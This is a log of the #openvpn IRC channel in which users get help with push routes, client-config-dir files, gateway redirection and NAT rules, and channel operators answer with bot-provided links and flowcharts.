01:12 <@EugeneKay> If nothing else they're close enough to get you pointed in the right direction
01:12 -!- mattock_afk is now known as mattock
01:12 <@EugeneKay> But that's not really openvpn, and my girlfriend is tugging me into bed by my shirt
01:12 <@EugeneKay> Night
01:19 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
01:20 -!- gourneau [~Adium@2602:306:37fe:6e80:2d9b:7b69:3265:fee] has quit [Quit: Leaving.]
01:22 -!- gourneau [~Adium@99-127-230-232.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
01:22 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
01:26 -!- gourneau [~Adium@99-127-230-232.lightspeed.sntcca.sbcglobal.net] has quit [Ping timeout: 245 seconds]
01:32 -!- kubbing [~kubbing@gprs27.vodafone.cz] has quit [Read error: Connection reset by peer]
01:40 -!- kubbing [~kubbing@gprs27.vodafone.cz] has joined #openvpn
01:41 < nutcase> yeah I know pekster they just didnt want to admit to it
01:41 < nutcase> it was really pissing me off
01:41 < nutcase> cause I literally have at least 5 other vpns that are fine with diff hosts lol
01:45 -!- elfixit [~Icedove@82.197.179.5] has joined #openvpn
01:50 -!- gourneau [~Adium@99-127-230-232.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
01:52 -!- gourneau1 [~Adium@99-127-230-232.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
01:52 -!- gourneau [~Adium@99-127-230-232.lightspeed.sntcca.sbcglobal.net] has quit [Read error: Connection reset by peer]
01:56 -!- gourneau1 [~Adium@99-127-230-232.lightspeed.sntcca.sbcglobal.net] has quit [Ping timeout: 248 seconds]
02:10 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
02:43 -!- kubbing [~kubbing@gprs27.vodafone.cz] has quit [Read error: Connection reset by peer]
02:44 -!- cosmicgate [~root@87.117.255.113] has quit [Remote host closed the connection]
02:48 -!- kubbing [~kubbing@gprs27.vodafone.cz] has joined #openvpn
02:53 -!- gourneau [~Adium@99-127-230-232.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
02:54 -!- ziddey [~xda-devs@sandybridge.home.ijib.com] has quit [Ping timeout: 245 seconds]
02:57 -!- gourneau [~Adium@99-127-230-232.lightspeed.sntcca.sbcglobal.net] has quit [Ping timeout: 240 seconds]
03:06 -!- lupine [~lupine@unaffiliated/lupine-85/x-7392152] has joined #openvpn
03:07 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 260 seconds]
03:09 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
03:10 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Quit: Changing server]
03:18 -!- gypsymauro [~colorioma@84.18.151.77] has joined #openvpn
03:20 < gypsymauro> hi, I've an openvpn server with the push route command into the configuration file but it conflicts on a specified network, there is a way to delete a route after the connection is estabilished? or the solution is to add that push route to all clients conf files except the incriminated one  and remove it from the server?
03:26 -!- gourneau [~Adium@99-127-230-232.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
03:27 -!- gourneau1 [~Adium@99-127-230-232.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
03:27 -!- gourneau [~Adium@99-127-230-232.lightspeed.sntcca.sbcglobal.net] has quit [Read error: Connection reset by peer]
03:32 -!- gourneau1 [~Adium@99-127-230-232.lightspeed.sntcca.sbcglobal.net] has quit [Ping timeout: 245 seconds]
03:38 -!- takamichi [~takamichi@217.23.15.212] has quit [Read error: Connection reset by peer]
03:42 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
03:52 -!- kubbing [~kubbing@gprs27.vodafone.cz] has quit [Read error: Connection reset by peer]
03:53 -!- gourneau [~Adium@99-127-230-232.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
03:58 -!- gourneau [~Adium@99-127-230-232.lightspeed.sntcca.sbcglobal.net] has quit [Ping timeout: 272 seconds]
04:07 -!- elfixit [~Icedove@82.197.179.5] has quit [Quit: elfixit]
04:08 -!- Denial [Denial@90.216.209.93] has joined #openvpn
04:18 -!- Carbon_Monoxide [~cmonxide@14.0.143.115] has joined #openvpn
04:27 -!- Carbon_Monoxide [~cmonxide@14.0.143.115] has left #openvpn ["Leaving"]
04:53 -!- gourneau [~Adium@2602:306:37fe:6e80:e03d:8cb:6c90:90a0] has joined #openvpn
04:57 -!- gourneau [~Adium@2602:306:37fe:6e80:e03d:8cb:6c90:90a0] has quit [Ping timeout: 245 seconds]
05:31 -!- papo [~mathias@84-72-28-168.dclient.hispeed.ch] has quit [Ping timeout: 245 seconds]
05:42 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
05:49 -!- jY [~jy@photoblog.com] has left #openvpn ["Linkinus - http://linkinus.com"]
05:53 -!- gourneau [~Adium@99-127-230-232.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
05:57 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
05:57 -!- gourneau [~Adium@99-127-230-232.lightspeed.sntcca.sbcglobal.net] has quit [Ping timeout: 272 seconds]
06:05 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
06:42 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:43 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Quit: off to do some thoughtcrime]
06:45 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
06:50 <@ecrist> gypsymauro: add the push config to the ccd entry DEFAULT, and create an empty ccd entry for the one client that has the conflict
06:53 -!- gourneau [~Adium@99-127-230-232.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
06:57 -!- gourneau [~Adium@99-127-230-232.lightspeed.sntcca.sbcglobal.net] has quit [Ping timeout: 240 seconds]
06:58 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
06:58 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
06:58 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
07:02 < gypsymauro> ecrist: what's ccd ?
07:03 <@ecrist> !ccd
07:03 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
07:07 -!- Serano [~serano@rooty.be] has quit [Ping timeout: 245 seconds]
07:07 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
07:07 -!- guntha [~guntha@unaffiliated/guntha] has quit [Ping timeout: 264 seconds]
07:07 -!- haasn [~nand@2a01:4f8:d13:5245::2] has quit [Ping timeout: 245 seconds]
07:07 -!- jefferai [~quassel@kde/mitchell] has quit [Ping timeout: 245 seconds]
07:08 -!- jefferai [~quassel@kde/mitchell] has joined #openvpn
07:08 -!- guntha [~guntha@unaffiliated/guntha] has joined #openvpn
07:08 -!- haasn [~nand@2a01:4f8:d13:5245::2] has joined #openvpn
07:08 < gypsymauro> ecrist: uhm that will be usefull, but this mean that I've to create a ccd file for every client?
07:09 -!- Serano [~serano@rooty.be] has joined #openvpn
07:09 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
07:15 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 260 seconds]
07:24 < zedsix> !routes
07:24 < zedsix> !route
07:24 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
07:24 <@vpnHelper> behind the server or client
07:32 -!- speed_racer84 [~speed_rac@h140.74.89.75.dynamic.ip.windstream.net] has joined #openvpn
07:46 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 245 seconds]
07:51 -!- speed_racer81 [~speed_rac@h140.74.89.75.dynamic.ip.windstream.net] has joined #openvpn
07:53 -!- gourneau [~Adium@99-127-230-232.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
07:54 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
07:55 -!- speed_racer84 [~speed_rac@h140.74.89.75.dynamic.ip.windstream.net] has quit [Ping timeout: 246 seconds]
07:56 <@ecrist> gypsymauro: did you even read what I posted, above?
07:56 <@ecrist> gypsymauro: add the push config to the ccd entry DEFAULT, and create an empty ccd entry for the one client that has the conflict
07:56 <@ecrist> note the part about "DEFAULT"
07:57 -!- HyperGlide [~HyperGlid@182.151.165.160] has joined #openvpn
07:57 -!- gourneau [~Adium@99-127-230-232.lightspeed.sntcca.sbcglobal.net] has quit [Ping timeout: 245 seconds]
08:02 <@ecrist> the alternative is for that client to have --no-pull in their config, and manually add the routes they need/want.
08:11 < zedsix> I have just run into a very unusual issue, I have multiple push routes within the server.conf file, this has been working fine for the last 2 weeks.
08:12 < zedsix> These routes are routing IP addresses hosted within the same network (all other push routes work).
08:12 < zedsix> I am completely stuck as to what/where I should be looking and resolving this.
08:13 -!- HyperGlide [~HyperGlid@182.151.165.160] has quit [Quit: Leaving...]
08:14 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 246 seconds]
08:15 < rob0> The issue is that it's working fine?
08:16 < zedsix> The issue is that the 2 of my routes are not working correctly (IP addresses that are controlled by completely different networks).
08:16 < zedsix> There are 2 other routes which are not working (these are IP addresses hosted on the same network as the OpenVPN server).
08:27 -!- speed_racer81 [~speed_rac@h140.74.89.75.dynamic.ip.windstream.net] has quit [Ping timeout: 240 seconds]
08:32 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 245 seconds]
08:34 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
08:53 -!- gourneau [~Adium@99-127-230-232.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
08:58 -!- gourneau [~Adium@99-127-230-232.lightspeed.sntcca.sbcglobal.net] has quit [Ping timeout: 265 seconds]
09:01 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Quit: devils speak of the way in which she'll manifest, angels bleed from the tainted touch of my caress, need to contaminate to alleviate this loneliness, i now know the depths i reach are limitless]
09:02 -!- klein [~klein@177.101.118.94] has joined #openvpn
09:02 -!- klein [~klein@177.101.118.94] has quit [Changing host]
09:02 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
09:02 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
09:02 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
09:02 -!- map is now known as Guest29199
09:04 -!- mapps [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 245 seconds]
09:04 -!- Guest24625 [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 240 seconds]
09:06 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
09:10 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 248 seconds]
09:14 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
09:14 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 245 seconds]
09:47 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
09:47 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
09:49 < oc80z> hmm
09:53 -!- gourneau [~Adium@99-127-230-232.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
09:55 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Remote host closed the connection]
09:57 -!- gourneau [~Adium@99-127-230-232.lightspeed.sntcca.sbcglobal.net] has quit [Ping timeout: 240 seconds]
09:57 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
10:02 -!- Guest29199 [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 245 seconds]
10:11 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:31 -!- grimeton [~ruth@2a01:4f8:160:41e3:0:dead:beef:cafe] has joined #openvpn
10:31 < grimeton> hi
10:32 < grimeton> looks like openvpn isn't nsa-insecure enough
10:32 < grimeton> dratek pulled the plug on its openvpn support :D
10:37 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Read error: Connection reset by peer]
10:37 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
10:38 -!- acu [~acu07@24-159-215-150.static.roch.mn.charter.com] has joined #openvpn
10:40 < acu> Hello guys - I run debian wheezy 7.2 amd64 - and I want to setup openVPN between two LANs - there is mainLAN where I have a file server and remoteLAN where the clients are - I wonder if anyone can point me to a functional tutorial
10:41 < rob0> not really, but see:
10:41 < rob0> !howto
10:41 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
10:41 < rob0> !serverlan
10:41 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
10:41 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
10:42 < rob0> !clientlan
10:42 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a
10:42 <@vpnHelper> better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
10:42 < rob0> those flowcharts should help
10:43 < acu> rob0: thanks a bunch, all links you gave me look preety good
10:44 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
10:48 < acu> how many hours it takes to make a vpn work ?
10:53 -!- gourneau [~Adium@99-127-230-232.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
10:57 -!- gourneau [~Adium@99-127-230-232.lightspeed.sntcca.sbcglobal.net] has quit [Ping timeout: 245 seconds]
11:01 -!- raidz is now known as raidz_away
11:03 -!- gourneau [~Adium@2602:306:37fe:6e80:29c7:a896:3e1:8204] has joined #openvpn
11:03 -!- gourneau [~Adium@2602:306:37fe:6e80:29c7:a896:3e1:8204] has quit [Client Quit]
11:37 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Remote host closed the connection]
11:38 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
11:39 -!- raidz_away is now known as raidz
11:43 <@EugeneKay> That depends entirely upon your familiarity with the application
11:43 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Ping timeout: 272 seconds]
11:43 <@EugeneKay> ....and general networking principles
11:44 <@EugeneKay> I can get a new link up, route across it, and verify the layout with my network in under 5 minutes.
11:44 <@ecrist> I can generally have a working VPN in about 5 minutes, provided all the right information ahead of time
11:44 -!- aji [~alex@atheme/member/aji] has quit [Ping timeout: 240 seconds]
11:44 <@EugeneKay> For new users, 1-2 hours for a basic "redirect" scenario is pretty close
11:45 <@EugeneKay> Though I've seen people fail at it for weeks.
11:45 -!- aji [~alex@atheme/member/aji] has joined #openvpn
11:57 -!- mmikeym [~mikeym@184.70.65.118] has joined #openvpn
11:58 -!- FatzCat [~FatCat@nl6.ovpn.to] has joined #openvpn
12:00 -!- FatCat|idle [~FatCat@nl6.ovpn.to] has joined #openvpn
12:02 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
12:02 -!- FatCat|idle is now known as FatCat
12:02 -!- FatCat [~FatCat@nl6.ovpn.to] has left #openvpn []
12:03 -!- avpnuser [~FatCat@nl6.ovpn.to] has joined #openvpn
12:04 -!- FatzCat [~FatCat@nl6.ovpn.to] has quit [Ping timeout: 272 seconds]
12:11 -!- avpnuser [~FatCat@nl6.ovpn.to] has left #openvpn ["Leaving..."]
12:34 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
12:43 <@krzee> my first multi-lan setup took a week at least i think
12:44 <@krzee> now it would take maybe 10min if i had all info handy before
12:44 <@krzee> also it shouldnt take a new user a week anymore, i didnt have !route back then
12:44 <@krzee> (i had to finally read the source to understand iroute)
12:47 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
12:56 <@EugeneKay> I was referring more to people who are too block-headed to stop using TAP :-p
13:02 -!- mattock is now known as mattock_afk
13:08 -!- xanderer [~alex@lpzg-4db3b548.pool.mediaWays.net] has joined #openvpn
13:08 -!- xanderer [~alex@lpzg-4db3b548.pool.mediaWays.net] has left #openvpn []
13:16 < cjross> !route
13:16 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
13:16 <@vpnHelper> behind the server or client
13:26 -!- ziddey [xda-devs@sandybridge.home.ijib.com] has joined #openvpn
13:57 -!- Denial [Denial@90.216.209.93] has quit []
14:13 < acu> !sample
14:13 <@vpnHelper> "sample" is (#1) http://www.ircpimps.org/openvpn.configs for a working sample config or (#2) DO NOT use these configs until you understand the commands in them, read up on each first column of the configs in the manpage (see !man) or (#3) these configs are for a basic multi-user vpn, which you can then build upon to add lans or internet redirecting
14:27 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 240 seconds]
14:34 -!- Guest29199 [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
14:38 <@Ziber> [13:43:58] <@krzee> my first multi-lan setup took a week at least i think <-- Challenge accepted.
14:39 -!- liriel [~liriel@aphrodite.feralhosting.com] has quit [Ping timeout: 272 seconds]
14:44 -!- liriel [~liriel@aphrodite.feralhosting.com] has joined #openvpn
14:53 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 260 seconds]
15:19 -!- xorox90 [uid7069@gateway/web/irccloud.com/x-tczdtfeafgswmmqg] has quit [Remote host closed the connection]
15:19 -!- dowaat [uid3966@gateway/web/irccloud.com/x-gbmkfcatefzbyzrx] has quit [Read error: Connection reset by peer]
15:19 -!- lmm [uid6417@gateway/web/irccloud.com/x-zxvcdzxbaofriglf] has quit [Read error: Connection reset by peer]
15:19 -!- b00gz___ [uid6869@gateway/web/irccloud.com/x-sulbfuvyhsmhgdtp] has quit [Remote host closed the connection]
15:19 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-imjoqljvtjyrisrp] has quit [Remote host closed the connection]
15:19 -!- XJR-9 [uid2977@pdpc/supporter/active/xjr-9] has quit [Remote host closed the connection]
15:19 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-yzpviqosteziqidq] has quit [Remote host closed the connection]
15:19 -!- niftylettuce [uid2733@gateway/web/irccloud.com/x-hikuqjiphrhvrhyx] has quit [Remote host closed the connection]
15:33 <@krzee> heh
15:33 <@krzee> i didnt have !route
15:41 <@Ziber> Yeah. I saw.
15:41 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
15:41 <@Ziber> So, my VPN is a bit unstable all of a sudden.
15:41 <@Ziber> openvpn.log is getting a lot of "connection refused" messages.
15:43 <@Ziber> All since I've disconnected from it.
15:44 <@krzee> it was openvpn seeing you disconnected
15:44 <@krzee> when you reconnect it'll work again lol
15:47 <@Ziber> Yeah, but why is it unstable all of a sudden? Routes and nat working fine...
15:47 <@krzee> let me check my srystal ball
15:47 <@krzee> crystall ball
15:48 <@krzee> it says likely network issues
15:49 <@Ziber> Hrm.
15:51 -!- liriel [~liriel@aphrodite.feralhosting.com] has quit [Ping timeout: 240 seconds]
15:51 <@Ziber> Things not working is fine... But it's not fine when something decides to stop working when there is no change to when it was working.
15:51 <+pekster> Ziber: "connection refused" means just that: the network layer (IP protocol) has returned one of the ICMP refused messages
15:52 <+pekster> Check the remote side logs for reasons why, although it might not always be openvpn-initiated if a firewall or router along the way is the source of such network messages
15:53 <@Ziber> I can ping anything...
15:53 <+pekster> That's not relevant here
15:53 <+pekster> Firewalls obviously can make a distinctin between a ping and a UDP packet sent to/from a very specific IP/port tupple
15:53 <+pekster> "I can drive my neighbor's car, so mine not working doesn't make sense"
15:54 -!- akurilin2 [~akurilin@208.185.21.146] has joined #openvpn
15:55 <@Ziber> I can see packets, particularly from gmail, going to the vpn server.
15:55 -!- klein [~klein@177.101.118.94] has joined #openvpn
15:55 -!- klein [~klein@177.101.118.94] has quit [Changing host]
15:55 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
15:55 <+pekster> Dunno how much more clear I can be. "connection refused" in the log means openvpn has received a refusal of the remote UDP socket to communicate
15:56 <@Ziber> It's no longer saying "connection refused".
15:56 <@Ziber> The connection, according to the log, is running perfectly.
15:56 -!- liriel [~liriel@aphrodite.feralhosting.com] has joined #openvpn
15:57 <+pekster> Then it's not unstable anymore. You asked: <@Ziber> Yeah, but why is it unstable all of a sudden?
15:57 <+pekster> Everything I just told you explains the reason, though not the root cause
15:57 <+pekster> (that's for _you_ to figure out)
15:58 <@Ziber> Unstable, currently, means I can't connect to the internet. Only reason I can connect to my IRC is that because it's via SSH to my VPN server.
15:58 <+pekster> Well this is the first I've heared of that
15:58 <+pekster> !xy
15:58 <@vpnHelper> "xy" is http://mywiki.wooledge.org/XyProblem -- I want to do X, but I'm asking how to do Y...
15:59 <@Ziber> More concerned with trying to debug it than explaining it.
15:59 <+pekster> Then I'm more concerned with not caring than caring
16:04 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:06 -!- valent [~valent@unaffiliated/valent] has joined #openvpn
16:06 < valent> hello
16:10 < valent> newbie question - I can ping, server but don't have exit to internet
16:10 < valent> server uses 2.3.2
16:11 <@Ziber> See, that's sorta my predicament at the moment, too.
16:17 <@EugeneKay> !redirect
16:17 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
16:17 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
16:17 <@EugeneKay> Flowchart ^
16:18 < valent> I have nat and ipforward setup on server and still can't ping beyond server. Let me check, but I believe I have redirect-gateway enables in server.conf file
16:19 < valent> jup, I have this set in server.conf - push "redirect-gateway def1 bypass-dhcp"
16:19 < valent> any other ideas where I could have issue?
16:20 < rob0> Flowchart ^
16:20 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 245 seconds]
16:21 <@Ziber> I like these flowcharts.
16:21 < rob0> me too.
16:21 < valent> awesome flowchart, thanks!
16:26 -!- master_of_master [~master_of@p4FD7B894.dip0.t-ipconnect.de] has joined #openvpn
16:27 <@Ziber> What's the fundamental difference between "iptables -A FORWARD -s 10.192.254.0/24 -o eth0 -j ACCEPT" and "iptables -t nat -A POSTROUTING -s 10.192.254.0/24 -o eth0 -j MASQUERADE"?
16:29 -!- master_o1_master [~master_of@p4FF24AA0.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
16:31 <@EugeneKay> They function on different parts of the iptables stack and do wholly different things
16:31 <@EugeneKay> http://www.csie.ntu.edu.tw/~b93070/CNL/v4.0/CNLv4.0.files/image2070.gif
16:32 <@Ziber> Is there something fundamentally different the way gmail chat works? I'm perfectly connected to everything via the VPN... except that.
16:32 <@EugeneKay> It has a persistent connection. You need to close + reopen your browser
16:33 <@Ziber> Really?
16:34 <@Ziber> Did that. Should've loaded by now.
16:34 <@Ziber> Yeah. "
16:34 <@Ziber> Yeah. "Something's not right."
16:35 -!- valent [~valent@unaffiliated/valent] has quit [Ping timeout: 260 seconds]
16:36 -!- szr [~s_r@unaffiliated/szr] has quit [Read error: No route to host]
16:38 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Remote host closed the connection]
16:40 -!- niftylettuce [uid2733@gateway/web/irccloud.com/x-keybrkhvrrqzzibj] has joined #openvpn
16:41 -!- XJR-9 [sid2977@pdpc/supporter/active/xjr-9] has joined #openvpn
16:42 -!- dowaat [uid3966@gateway/web/irccloud.com/x-lxgmofzycyicudpw] has joined #openvpn
16:43 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-uxmvdbhlvjqcuccg] has joined #openvpn
16:45 -!- lmm [uid6417@gateway/web/irccloud.com/x-sdpcwxuswbpaijko] has joined #openvpn
16:45 -!- b00gz___ [uid6869@gateway/web/irccloud.com/x-nededntujebckcts] has joined #openvpn
16:46 -!- xorox90 [uid7069@gateway/web/irccloud.com/x-cuhtjbjdhzixansb] has joined #openvpn
16:47 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-ffermuydghofjsqf] has joined #openvpn
16:48 -!- valent [~valent@23.226.130.190] has joined #openvpn
16:56 -!- szr [~s_r@unaffiliated/szr] has joined #openvpn
16:58 <@Ziber> I had this all working. For it to suddenly just stop... is absurd.
17:02 <@Ziber> Do I need two NAT rules on my VPN server? -s 10.192.254.0/24 -j MASQUERADE and -d ?
17:04 < rob0> Typically your NAT rule would also be limited by outgoing interface. Also, assuming your server is on a static IP address, you should use -j SNAT --to your.external.ip.addr
17:05 <@Ziber> Different than -i <interface>?
17:07 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
17:07 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
17:07 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
17:08 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
17:10 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
17:12 <@Ziber> And see, now it's back. And I have no idea why.
17:12 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 245 seconds]
17:21 <@Ziber> Seriously, wtf.
17:34 -!- valent [~valent@23.226.130.190] has quit [Quit: Leaving]
17:34 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
17:34 -!- mapps [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
17:35 -!- map is now known as Guest96267
17:35 -!- Guest29199 [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 246 seconds]
17:36 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 246 seconds]
17:39 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 252 seconds]
17:40 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
17:44 -!- ziddey [xda-devs@sandybridge.home.ijib.com] has left #openvpn ["Leaving"]
17:47 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 240 seconds]
18:08 -!- mmikeym [~mikeym@184.70.65.118] has quit [Ping timeout: 241 seconds]
18:19 -!- asdf- [~x@unaffiliated/asdf-] has joined #openvpn
18:19 < asdf-> !welcome
18:19 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
18:19 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
18:20 < asdf-> i'm running OpenVPN AS v2.0.2
18:21 < asdf-> i'm trying to login but im getting "Unexpected error: JSONDialog: Error running jsondialog, status=(-<NUMBER>, [], []), stdout=[], stderr=[]"
18:21 < asdf-> i google'd the error but nothing is coming up
18:22 < asdf-> login to the web gui
18:22 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
18:23 < asdf-> nevermind, it was Chrome
18:24 < asdf-> disabled all of the extensions and still received that error... not sure why
18:28 -!- debbie10t [~ma1com10t@host-92-20-71-56.as13285.net] has joined #openvpn
18:28 -!- mode/#openvpn [+o debbie10t] by ChanServ
18:42 < rob0> !as
18:42 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
18:46 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
18:46 <@debbie10t> Although the manual say "proto tcp-server/client" it is still possible to just use "proto tcp"
18:58 -!- Netsplit *.net <-> *.split quits: meepmeep, GabrieleV, ccha, Aketzu, Shinobi, klaxa
18:58 -!- Netsplit over, joins: Shinobi
18:58 -!- Aketzu [akolehma@81.22.244.161] has joined #openvpn
18:59 -!- Netsplit over, joins: meepmeep
18:59 -!- ccha [~ccha@88-190-233-22.rev.poneytelecom.eu] has joined #openvpn
